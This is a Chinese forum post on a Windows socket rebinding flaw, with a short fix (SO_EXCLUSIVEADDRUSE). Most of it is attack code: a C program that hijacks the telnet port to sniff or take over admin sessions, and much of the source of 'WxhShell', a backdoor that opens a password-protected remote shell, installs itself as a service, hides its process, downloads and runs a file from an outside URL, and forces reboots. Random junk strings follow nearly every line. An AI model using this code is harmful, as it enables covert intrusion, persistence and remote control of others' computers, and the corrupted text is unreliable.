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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: #%s#c0TX  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); fh{`Mz,o  
q;U,s)Uz^  
  saddr.sin_family = AF_INET; sGb{9.WK  
2oU_2P  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); GL JMP^p  
.B yuN  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 2%> FR4a  
oE~RyS X  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 OTp]Xe/  
6#yUc_5 \  
  这意味着什么?意味着可以进行如下的攻击: j4b4!^fV  
AEuG v}#  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Y~Ifj,\  
m4& /s  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) nie%eC&U  
:!/8 Hv  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 bfO=;S]b!  
`kr?j:g  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  HqTjl4ai  
Q^I\cAIB  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 nd(S3rct&  
.KC ++\{HE  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 @H<q"-J  
U3kyraj  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 7rPF$ \#  
8] ikygt"  
  #include J=L5=G7(  
  #include bx Wa oWE0  
  #include +O5hH8<&b  
  #include    7Qsgys#/=  
  DWORD WINAPI ClientThread(LPVOID lpParam);   +>9Q/E  
  int main() ap~^Ty<>  
  { Ewm9\qmg  
  WORD wVersionRequested; v}(WaO#S  
  DWORD ret; s79r@])=  
  WSADATA wsaData; y?0nI<}}HK  
  BOOL val; >f'g0g  
  SOCKADDR_IN saddr; &/b~k3{M_  
  SOCKADDR_IN scaddr; MPk5^ua:  
  int err; 'n|5ZhXPB  
  SOCKET s; 6^Sa;  
  SOCKET sc;  XlJZhc  
  int caddsize; `"~%bS  
  HANDLE mt; QM]YJr3r E  
  DWORD tid;   @P" p+  
  wVersionRequested = MAKEWORD( 2, 2 ); G\?YK.Y>  
  err = WSAStartup( wVersionRequested, &wsaData ); `lPfb[b  
  if ( err != 0 ) { ipILG4  
  printf("error!WSAStartup failed!\n"); kW (Bkuc)  
  return -1; j7c3(*Pl  
  } wPl%20t  
  saddr.sin_family = AF_INET; go"Hf_  
   2"5v[,$1H  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 :Yks|VJ1  
_2nx^E(pd  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ;$tSb ~K+  
  saddr.sin_port = htons(23); sC;+F*0g  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ?s _5&j7  
  { ASfaX:ke  
  printf("error!socket failed!\n"); ]~nKK@Rw  
  return -1; 0RK!/:'  
  } LK"69Qx?5q  
  val = TRUE; |I|fMF2K  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 R$Q.sE  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) p$>l7?h  
  { @o6L6Y0Naa  
  printf("error!setsockopt failed!\n"); #,.Hr#3nI  
  return -1; _y>~ yZx  
  } /=, nGk>  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; "vslZ`RU  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ~nPtlrQa#*  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 %#}Zy   
qv"$Bd:]r  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) rD>f|kA?L  
  { B]$GSEB  
  ret=GetLastError(); <|\Lm20 G]  
  printf("error!bind failed!\n"); L:8q8i  
  return -1; )Z VD+X  
  } 4H-'Dr=G  
  listen(s,2); ^KELKv,_  
  while(1) &w~d_</  
  { FE{FGM q  
  caddsize = sizeof(scaddr); LD g?'y;2  
  //接受连接请求 /SrAW`;"  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); J'2X&2  
  if(sc!=INVALID_SOCKET) 6DWgl$[[  
  { w-{c.x  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); p"Z-6m~  
  if(mt==NULL) eN~=*Mn(za  
  { 3{h_&Gbo'D  
  printf("Thread Creat Failed!\n"); ,{q;;b9  
  break; (b6NX~G-:  
  } +KEWP\r  
  } : \}(& >  
  CloseHandle(mt); 2[;_d;oB@  
  } QVE6We  
  closesocket(s); nQ L@hc  
  WSACleanup(); 3Le{\}-$.  
  return 0; XGMiW0j0B  
  }   -S+zmo8  
  DWORD WINAPI ClientThread(LPVOID lpParam) {u9}bx'<  
  { D1mfm.9_r^  
  SOCKET ss = (SOCKET)lpParam; 2T TdH)  
  SOCKET sc; GDy9qUV  
  unsigned char buf[4096]; gGS=cdlV  
  SOCKADDR_IN saddr; zA"`!}*  
  long num; i2^>vYCsl  
  DWORD val; Y]5 l.SV  
  DWORD ret; RAK-UN  
  //如果是隐藏端口应用的话,可以在此处加一些判断 { buy"X4  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   W8!Qv8rf  
  saddr.sin_family = AF_INET; }-3mPy(*%  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Uv~QUL3>  
  saddr.sin_port = htons(23); T"}vAG( .O  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) |B2+{@R  
  { Z*2Vpnqh\  
  printf("error!socket failed!\n"); TvQo?  
  return -1; AnvRxb.e  
  } f f1c/c/  
  val = 100; ',4iFuY  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) K!]/(V(}  
  { C\/L v.  
  ret = GetLastError(); O<;3M'y\  
  return -1; 0,8okA H  
  } |id <=Xf  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) j9OG\m  
  { d&s9t;@=  
  ret = GetLastError(); O5t[  
  return -1; Y7[jqb1D  
  } -\n@%$M]G  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 'oC) NpnH  
  { l?^4!&Nm  
  printf("error!socket connect failed!\n"); @k/NY *+  
  closesocket(sc); <kd1Nrr!p  
  closesocket(ss); AZ}Xj>=  
  return -1; M[112%[+4  
  } y Ej^=pw  
  while(1) `I5wV/%ib  
  { E1U",CMU  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Ezv Y"T@  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Gm.]sE?.  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Q&| \r  
  num = recv(ss,buf,4096,0); QZ%`/\(!8_  
  if(num>0) H1(Uw:V8  
  send(sc,buf,num,0); q\527^ZM  
  else if(num==0) AlW66YAuQ  
  break; Sa`Xf\  
  num = recv(sc,buf,4096,0); = +?7''{>  
  if(num>0) 9v!1V,`j"  
  send(ss,buf,num,0); =6|&Jt  
  else if(num==0) g^ i&gNDx  
  break; g!z&~Z:  
  } 1q1jZqno  
  closesocket(ss); \A6B,|@  
  closesocket(sc); fLm*1S|%\  
  return 0 ; |WdPE@P  
  } \`\ZTZni  
B i<Q=x'Z;  
hzbw>g+  
========================================================== Wh 2tNyS  
A:9?ZI/X  
下边附上一个代码,,WXhSHELL '1)$'   
}t1a* z  
========================================================== Z} r*K%  
2oRg 2R}  
#include "stdafx.h" .JiziFJ@mj  
M6-&R=78K  
#include <stdio.h> ([LSsZ]sj  
#include <string.h> 4u47D$=  
#include <windows.h> -701j'q{  
#include <winsock2.h> GU8sO@S5#  
#include <winsvc.h> u4%Pca9(=  
#include <urlmon.h> Y6L ~K?  
W$ 2C47i  
#pragma comment (lib, "Ws2_32.lib")  3 +fp2  
#pragma comment (lib, "urlmon.lib") tWa) _y  
:s6o"VkW  
#define MAX_USER   100 // 最大客户端连接数 r[Hc>wBv  
#define BUF_SOCK   200 // sock buffer _v=SH$O+  
#define KEY_BUFF   255 // 输入 buffer Q=20IQp  
pKrN:ExB"\  
#define REBOOT     0   // 重启 58J}{Req  
#define SHUTDOWN   1   // 关机 zb<6 Ov  
]Y8<`;8/  
#define DEF_PORT   5000 // 监听端口 W+X6@/BO  
t9:0TBt-[  
#define REG_LEN     16   // 注册表键长度 .oUTqki  
#define SVC_LEN     80   // NT服务名长度 6s/&BR  
<=0 u2~E  
// 从dll定义API `eCo~(F y  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 8-%TC\:  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ^ tg<K  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); wInh~p  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); %vhnl'  
Z//+Gw<'  
// wxhshell配置信息 z(^]J`+\  
struct WSCFG { )i^<r;_z  
  int ws_port;         // 监听端口 vv+z'(l  
  char ws_passstr[REG_LEN]; // 口令 QR0Q{}wbqU  
  int ws_autoins;       // 安装标记, 1=yes 0=no w{@o^rs  
  char ws_regname[REG_LEN]; // 注册表键名 %k?U9pj^  
  char ws_svcname[REG_LEN]; // 服务名 hUMf"=q+  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 % pd,%pg  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Z>Wg*sZy)  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 thM4vq   
int ws_downexe;       // 下载执行标记, 1=yes 0=no D"?fn<2  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" r^a7MHY1  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 $LFYoovX  
i||]V*5n  
}; wN-d'-z/rd  
}n2M G  
// default Wxhshell configuration `Kr,>sEAM  
struct WSCFG wscfg={DEF_PORT, ;^%4Q"  
    "xuhuanlingzhe", Yqi4&~?db  
    1, &3Sz je  
    "Wxhshell", nd1+"-,q  
    "Wxhshell", #& Rw&  
            "WxhShell Service", 1\>^m  
    "Wrsky Windows CmdShell Service", Ix=}+K/  
    "Please Input Your Password: ", &wCg\j_c  
  1, K[r^'P5m  
  "http://www.wrsky.com/wxhshell.exe", >X4u]>X  
  "Wxhshell.exe" F!Q@ u  
    }; '*w00  
CtAwBQO  
// 消息定义模块 [knN:{ l  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; r^paD2&}  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ~%=MpQ3  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 5r8< 7g:>C  
char *msg_ws_ext="\n\rExit."; q~ZNd3O  
char *msg_ws_end="\n\rQuit."; pd;br8yE$@  
char *msg_ws_boot="\n\rReboot..."; i?g5_HI  
char *msg_ws_poff="\n\rShutdown..."; K&70{r  
char *msg_ws_down="\n\rSave to "; LNpup`>`  
#32"=MfQn  
char *msg_ws_err="\n\rErr!"; -pGE]nwDL  
char *msg_ws_ok="\n\rOK!"; d>fkA0G/9!  
P} SCF  
char ExeFile[MAX_PATH]; g/+C@_&m  
int nUser = 0; 4^~(Mh-Mw  
HANDLE handles[MAX_USER]; OFv%B/O  
int OsIsNt; TQ*1L:X7M&  
V(6Z3g  
SERVICE_STATUS       serviceStatus; /1Q(b  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; \6<=$vD  
jWl)cC  
// 函数声明 bc) ~k:  
int Install(void); xt%7@/hiE  
int Uninstall(void); Id|L`  w  
int DownloadFile(char *sURL, SOCKET wsh); C=It* j55  
int Boot(int flag); 7/f3Z 1g  
void HideProc(void); G) 7;;  
int GetOsVer(void); TbGn46!:  
int Wxhshell(SOCKET wsl); Dg?70v <a  
void TalkWithClient(void *cs); JB`\G=PiL  
int CmdShell(SOCKET sock); M)N?qRD  
int StartFromService(void); }\#Rot>Y  
int StartWxhshell(LPSTR lpCmdLine); v` 7RCg`  
PCM-i{6/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); RyK\uv  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); R0vIbFwj  
4K\(xd&Q  
// 数据结构和表定义 ]<pjXVRt"  
SERVICE_TABLE_ENTRY DispatchTable[] = m~u5kbHOi=  
{ O#k6' LN?  
{wscfg.ws_svcname, NTServiceMain}, S=nzw-(I  
{NULL, NULL} MIoEauf  
}; r1L ViK  
fhp<oe>D  
// 自我安装 qI<mjB{3`  
int Install(void) 7 :3$Ey  
{ Z2='o_c  
  char svExeFile[MAX_PATH]; @I/]D6 ~"  
  HKEY key; "zRoU$X  
  strcpy(svExeFile,ExeFile);  %. ,=maA  
V<@ o<R  
// 如果是win9x系统,修改注册表设为自启动 k"]dK,,  
if(!OsIsNt) { _/!y)&4"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;z:UN}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _D_LgH;}  
  RegCloseKey(key); ^8Q62  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { G *;a^]-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); SNE#0L' }  
  RegCloseKey(key); V8-oYwOR  
  return 0; q+]h=:5=I  
    } ^(h+URFpA  
  } I*kK 82  
} T{Uc:Z  
else { c|62jY"$-2  
okv1K  
// 如果是NT以上系统,安装为系统服务 C{DvD'^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Dzs[GAQ]  
if (schSCManager!=0) [YT>*BH?  
{ c8>hc V  
  SC_HANDLE schService = CreateService S9`flo  
  ( e\JojaV  
  schSCManager, )5U[o0td  
  wscfg.ws_svcname, Kt|1&Gk  
  wscfg.ws_svcdisp, /_Z652@  
  SERVICE_ALL_ACCESS, r*_ZJ*h[  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ux3<l+jv^  
  SERVICE_AUTO_START, wG< (F}VX  
  SERVICE_ERROR_NORMAL, :!b'Vk  
  svExeFile, 5<j%EQN|D  
  NULL, FR!? #!  
  NULL, 7{qy7,Gp  
  NULL, !0C^TCuG  
  NULL, e0@Y#7N62  
  NULL Ej>g.vp8I  
  ); x,S P'fcP  
  if (schService!=0) k]HEhY  
  { g[7#w,o  
  CloseServiceHandle(schService); Za8#$`zq  
  CloseServiceHandle(schSCManager); -3lb@ 6I6  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 5 Ho^N1q  
  strcat(svExeFile,wscfg.ws_svcname); ?Ovqp-sw  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { $g+[yb7@  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 5N*Ux4M  
  RegCloseKey(key); 7=OQ8IM !  
  return 0; mJ`A_0  
    } 'hv k  
  } qt^T6+faaQ  
  CloseServiceHandle(schSCManager); ZRVT2VfN  
} 15o?{=b[  
} d[^~'V  
-s$F&\5by  
return 1; %ck]S!}6  
} 70mpSD3  
Cp]"1%M,  
// 自我卸载 Bv. `R0e&  
int Uninstall(void) `z )N,fF  
{ 1YJC{bO  
  HKEY key; FH%GIi  
!o+_T?  
if(!OsIsNt) { ]mXLg:3B  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |7pR)KH3  
  RegDeleteValue(key,wscfg.ws_regname); \Z/)Y;|mi0  
  RegCloseKey(key); ]&{ci  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @L:>!<  
  RegDeleteValue(key,wscfg.ws_regname); 01. &> Duw  
  RegCloseKey(key); a~!G%})'a  
  return 0; -yg?V2  
  } VA%Un,5h  
} CZt \JW+"  
} 2'<[7!  
else { dVo.Czyd  
$gM8{.!  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); R$Tp8G>j  
if (schSCManager!=0) #I3$3^0i#  
{ S#Sb]  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); \7 NpT}dj  
  if (schService!=0) U(;&(W"M  
  { ^F"iP7   
  if(DeleteService(schService)!=0) { @*DyZB  
  CloseServiceHandle(schService); \ y{Tn@7  
  CloseServiceHandle(schSCManager); 'EfR|7m  
  return 0; 4r0b)Y &I  
  } Yl$SW;@  
  CloseServiceHandle(schService); g@Qgxsyk>  
  } b (I2m  
  CloseServiceHandle(schSCManager); D^;*U[F?  
} .*JA!B  
} F5qFYL;  
AkT<2H|4  
return 1; A &9(mB  
} okFvn;  
5rV( (  
// 从指定url下载文件 l?)ZJ3]a  
int DownloadFile(char *sURL, SOCKET wsh) H7k PM[  
{ A?T<",bO  
  HRESULT hr; FsGlJ   
char seps[]= "/"; 9A7@ 5F  
char *token; !!nuAQ"E[  
char *file; h<\_XJJ  
char myURL[MAX_PATH]; H<G4O02i_  
char myFILE[MAX_PATH]; 3TZ*RPmFRm  
kY&h~Q  
strcpy(myURL,sURL); =@5x"MOz  
  token=strtok(myURL,seps); Iu35#j  
  while(token!=NULL) EK$Kee}~  
  { vHE^"l5v  
    file=token; K!mOr  
  token=strtok(NULL,seps); b]JI@=s?  
  } J!*/a'Cv  
NCf"tK'5n  
GetCurrentDirectory(MAX_PATH,myFILE); ,xT?mt}P  
strcat(myFILE, "\\"); e%>b+ Sv  
strcat(myFILE, file); A[YpcG'9  
  send(wsh,myFILE,strlen(myFILE),0); l@hjP1o  
send(wsh,"...",3,0); T4;T6 9j;,  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); _ZAchzV  
  if(hr==S_OK) ;|cTHGxbE  
return 0; nD2, !71  
else ^:jN3@ Q%  
return 1; yRYWch  
R, 8s_jN  
}  l"zUv  
/)rkiwp  
// 系统电源模块 DBs*F x[  
int Boot(int flag) 1]T`n/d V  
{ 2 qO3XI  
  HANDLE hToken; {3Vk p5%l  
  TOKEN_PRIVILEGES tkp; U\?g*  
g3%t8O/M  
  if(OsIsNt) { CC3v%^81l^  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); X+n`qiwq  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); *}):<nB$^  
    tkp.PrivilegeCount = 1; TjBY 4  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; [ &qA\  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); +"g~"<  
if(flag==REBOOT) { sF+=KH  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 7a$ G@  
  return 0; b( ^^m:(w  
} swc@34ei\  
else {  oAZh~~tp  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) te4= S  
  return 0; O8N[Jl  
} ehAu^^Q>  
  } HZ*0QgW\(5  
  else { vG2b:[W  
if(flag==REBOOT) { <39!G7ny  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) lKEa)KF[  
  return 0; Y#01o&f0n  
} 8)\M:s~7&  
else { qOG}[%<^n7  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) [W,-1.$!dM  
  return 0; &(xUhX T  
} r++i=SQax  
} :<~7y.*O{  
~mN% (w!^  
return 1; )J3kxmlzQ  
} ".~{:=  
uC]Z8&+obb  
// win9x进程隐藏模块 !)Rr] ~  
void HideProc(void) +TRy:e  
{ .]}N55M  
-&[z\"T  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); K.SeK3(  
  if ( hKernel != NULL ) y^FOsr  
  { _hCJ|Rrln  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 8Vt4HD08  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); >AI<60/<  
    FreeLibrary(hKernel); 5QWNZJ&}d  
  } ,dd WBwMK  
aN^IP  
return; hGP1(pH.  
} Vul+]h[!h  
<2P7utdZ  
// 获取操作系统版本 )8{6+{5lu  
int GetOsVer(void) j:1uP^.  
{ =`I?mn&  
  OSVERSIONINFO winfo; 3,.% s  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); -0,4eg j3  
  GetVersionEx(&winfo); +EASAq  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 8kW/DcLE  
  return 1; ".2A9]_s  
  else 4^!4eyQ^  
  return 0; w&lZ42(mF  
} 5su.+4z\  
f(u&XuZ  
// 客户端句柄模块 ]RFdLV?  
int Wxhshell(SOCKET wsl) g<[rH%\6fg  
{ dA#{Cn;  
  SOCKET wsh; $ehg@WK}.  
  struct sockaddr_in client; v29G:YQe  
  DWORD myID; "~p+0Xws9  
S>ugRasZ$  
  while(nUser<MAX_USER) MMD<I6Iyv  
{ zd`=Ih2Wx  
  int nSize=sizeof(client); Gz dgL"M[  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); .T3=Eq&"W  
  if(wsh==INVALID_SOCKET) return 1; Z%v6xP.  
jFj~]]j  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 6d{j0?mM  
if(handles[nUser]==0) XS0V:<+,  
  closesocket(wsh); ^&:'NR  
else O2H/rFx4  
  nUser++; c)1=U_61  
  } MtG_9-  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); +(ny|r[#  
p~bkf>  
  return 0; 3B,QJ&  
} o?!uX|Fy  
9p> /?H|  
// 关闭 socket KZK,w#9.  
void CloseIt(SOCKET wsh) s[-]cHQ  
{ ]A!.9Ko}u  
closesocket(wsh); hmGdjw t$  
nUser--; <7g Ml  
ExitThread(0); [(c L/_  
} ,z66bnjO  
`Ei"_W  
// 客户端请求句柄 m,NMTyJoz  
void TalkWithClient(void *cs) M j~${vj  
{ `45d"B I  
POBpJg  
  SOCKET wsh=(SOCKET)cs; _ +KmNfR  
  char pwd[SVC_LEN]; glor+  
  char cmd[KEY_BUFF]; B/Ba5z"r$  
char chr[1]; #S i|!  
int i,j; 3Hm7 uBZ  
caD5Pod4  
  while (nUser < MAX_USER) { ,35Ag#va  
deM~[1e[  
if(wscfg.ws_passstr) { om7`w ]  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); D9ywg/Q91  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); bhKV +oN  
  //ZeroMemory(pwd,KEY_BUFF); slSR=XOG  
      i=0; zH+<bEo=1=  
  while(i<SVC_LEN) { P|N?OocE  
h>tsis'N9  
  // 设置超时 [s %\.y(q  
  fd_set FdRead; y#r\b6  
  struct timeval TimeOut; 6{^*JC5nj  
  FD_ZERO(&FdRead); 3o7xN=N  
  FD_SET(wsh,&FdRead); B&nw#saz.  
  TimeOut.tv_sec=8; v@,XinB[  
  TimeOut.tv_usec=0; N<b D  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 3"B+xbe=  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ' C6:e?R  
Y~GUR&ww0n  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); U]j&cFbn5_  
  pwd=chr[0]; 4[H,3}p9H  
  if(chr[0]==0xd || chr[0]==0xa) { Isp_U5M  
  pwd=0; Nz @8  
  break; y<uE-4  
  } y7; 5xF?q  
  i++; K-<n`zg3  
    } t;XS;b %  
g)N54WV  
  // 如果是非法用户,关闭 socket (lb`#TTGx  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); &U0WkW   
}  /Ef4EX0  
|QqWVelc  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); dAwS<5!  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); wL'C1Vr  
< [ w++F~  
while(1) { `^f}$R|  
K*[0dza$  
  ZeroMemory(cmd,KEY_BUFF); 9T]va]w?#  
Vd[  2u  
      // 自动支持客户端 telnet标准   KPg[-d  
  j=0; \ >(zunL  
  while(j<KEY_BUFF) { FP@ A;/c  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @d P~X  
  cmd[j]=chr[0]; Wb'*lT0=  
  if(chr[0]==0xa || chr[0]==0xd) { 1YFAr}M  
  cmd[j]=0; x/[8Wi,yB  
  break; K5+!(5V~  
  } %)dI2 J^Xf  
  j++; :3 PGf  
    } -|$*l Q  
e Ri!\Fx  
  // 下载文件 ,FS?"Ni  
  if(strstr(cmd,"http://")) { eFes+i(35  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 5GUH;o1m  
  if(DownloadFile(cmd,wsh)) o8mo=V4j  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); $;ch82UiX  
  else HWOek"}Z[  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kEx8+2s=M  
  } 0vcET(  
  else { #VQ36pCd  
! 7Nn ]Lx  
    switch(cmd[0]) { 3lyQn "  
  _i.({s&_9  
  // 帮助 tc5M$b3^2  
  case '?': { AtuZF  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); wbl ${@4  
    break; 8\P JSr  
  } e=-YP8l  
  // 安装 \S'cW B  
  case 'i': { oNrEIgaA(+  
    if(Install()) Ep,1}Dx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Za34/ro/T  
    else -wBnwn-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0\QYf0o   
    break; |@OJ~5H/{  
    } O&F< oM  
  // 卸载 nO-d" S*  
  case 'r': { 2}GKHC  
    if(Uninstall()) %{=4Fa(Jux  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0%#t[us Y  
    else ?i/73H+;D3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fHW-Je7mG  
    break; %!>k#F^S  
    } s }Xi2^x  
  // 显示 wxhshell 所在路径 XlE$.  
  case 'p': { osI- o~#>  
    char svExeFile[MAX_PATH]; jg7d7{{SB  
    strcpy(svExeFile,"\n\r"); aYqqq|  
      strcat(svExeFile,ExeFile); 9Zs #Ky/  
        send(wsh,svExeFile,strlen(svExeFile),0); (di)`D5Q  
    break; OE5X8DqQe  
    } zkuv\kY/Z  
  // 重启 "<7$2!  
  case 'b': { nm<L&11  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); p, !1 3X  
    if(Boot(REBOOT)) (Be$$W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R %Rv  
    else { N=hSqw[  
    closesocket(wsh); @+[Y0_  
    ExitThread(0); 3AX?B~s  
    } N+ak[axN  
    break; $z~jnc  
    } M|$H+e } :  
  // 关机 ~:R4))qpg  
